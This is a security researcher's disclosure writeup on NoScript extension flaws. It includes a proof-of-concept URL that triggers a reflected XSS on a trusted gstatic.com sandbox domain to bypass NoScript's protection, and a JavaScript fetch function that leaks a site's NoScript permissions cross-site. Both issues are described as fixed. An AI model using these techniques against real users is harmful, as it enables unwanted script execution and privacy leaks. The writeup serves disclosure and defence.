Writeups

See https://ndevtk.github.io/writeups/2022/09/01/noscript/ for context about what NoScript is.

Bypass to run Javascript

This extension comes preinstalled with a list of trusted websites where javascript is allowed to run, this includes gstatic.com that Google treats as a sandbox domain. https://github.com/hackademix/noscript/blob/cc0471fe52a069b73b20b5e4213f54e8699a3052/src/bg/Settings.js#L218

While my favorite gstatic.com XSS endpoint was over postMessage it wont work for this since I can’t run javascript to send a message luckily the Google Security Team provided me with the location of a URL reflected XSS 🙂

PoC: https://www.gstatic.com/vr/ads/playground/metrics.html#assetUrl=https://tinyurl.com/2yrfxf5a

Normally on Firefox this would have been prevented by NoScript’s anti-XSS protection however by reusing the iframe source XSS sink as a way to navigate to the XSS page in the embed it would be considered same-origin initiated which is exempt from the filter.

There’s no XSS filter at all for Chromium, “please don’t use Chromium-based browsers with privacy/security extensions, they’ll always be inferior there because of Google’s terrible WebExtensions API implementation and design choices” although there used to be one but it got deprecated https://issues.chromium.org/40629883 due to leaks.

This anti-XSS bypass was fixed in https://github.com/hackademix/noscript/commit/10e2c40c1ca55ee7482705c47d2b3ec41aded4f7 but the sandbox domain is still marked as trusted for compatibility.

May also be other ways to bypass NoScript since there’s no way of knowing if code running on https://code.earthengine.google.com/ or a sandboxed ‘null’ origin iframe is safe.

…Ideally don’t have any sandbox domains in your NoScript permissions or even better the least amount necessary, not the first time the default list has been vulnerable https://thehackerblog.com/the-noscript-misnomer-why-should-i-trust-vjs-zendcdn-net/

Leaking the permissions of a cross-site URL

Yay XS-Leaks! (Mainly privacy concern)

async function getPermissions(url) {
  const result = await fetch(
    'https://[ff00::]/nscl/chrome-extension://doojmbjmlfjjnbmnoijecmcbfeoakpjm/syncMessage?msg=' +
      encodeURIComponent(JSON.stringify({id: 'fetchChildPolicy', url: url}))
  );
  const body = await result.json();
  const chunk = JSON.parse(body.chunk);
  return chunk;
}

This was fixed in https://github.com/hackademix/nscl/commit/c3fd029c9c08c472601dcff1fbc3c0edcaf98c27 and only worked on chromium based browsers.

Some other interesting behaviors